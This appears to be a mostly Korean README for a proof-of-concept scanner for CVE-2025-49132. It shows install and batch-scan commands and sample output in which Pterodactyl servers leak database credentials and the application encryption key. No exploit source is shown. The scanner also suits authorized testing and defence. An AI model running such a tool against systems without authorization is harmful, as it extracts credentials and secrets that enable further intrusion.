
PoC - CVE-2025-49132
이 스캐너는 Docker 종속성 없이 Python에서 직접 작동하며, Docker를 사용할 수 없거나 선호하지 않는 환경에 적합합니다.
pip install -r requirements-standalone.txt
수동 설치:
pip install requests urllib3
python standalone_scanner.py scan http://localhost/
targets.txt 생성:
http://localhost/
http://localhost:8080
http://localhost:3000
배치 스캔 실행:
python standalone_scanner.py batch --file targets.txt
python standalone_scanner.py batch --file targets.txt --output results.json
python standalone_scanner.py interactive
🔍 Scanning: http://localhost/
⏰ Time: 2025-01-27 15:30:45
------------------------------------------------------------
✅ VULNERABLE - Database credentials found!
📊 Database Info:
Host: localhost
Port: 3306
Database: root
Username: root
Password: secret123
🔗 Connection String: root:secret123@localhost:3306/root
✅ VULNERABLE - App configuration found!
📊 App Config:
App Key: base64:your_secret_key_here
Cipher: AES-256-CBC
Debug: false
Environment: production
App Name: Pterodactyl
App URL: http://localhost
Timezone: UTC
Locale: en
🔔 SECURITY WARNING: APP_KEY exposed!
This key is used for encryption/decryption
Can be used to decrypt sensitive data
🔍 Scanning: http://localhost/
⏰ Time: 2025-01-27 15:30:45
------------------------------------------------------------
❌ NOT VULNERABLE (Status: 404)
pip install requests
SSL 경고는 자동으로 억제됩니다. 추가 구성이 필요하지 않습니다.
기본 타임아웃은 10초입니다. 필요 시 소스 코드에서 timeout 매개변수를 수정하세요.
# Install dependencies
pip install requests urllib3
# Perform test scan
python standalone_scanner.py scan http://localhost/
# Execute batch analysis
python standalone_scanner.py batch --file targets.txt --output results.json
Target Input → HTTP Request → Response Analysis → Vulnerability Detection → Output Generation
이 도구는 다음 용도로 설계되었습니다:
참고: 대상 시스템을 스캔하기 전에 항상 적절한 승인을 받으십시오.
| 기능 | 독립형 | 컨테이너 |
|---|
| 설정 복잡성 | 최소 | Docker 종속 |
| 종속성 | Python 패키지 | Docker + Python |
| 성능 | 최적화됨 | 유사 |
| 프로세스 격리 | 없음 | 완전 격리 |
| 배포 이식성 | 높음 | 중간 |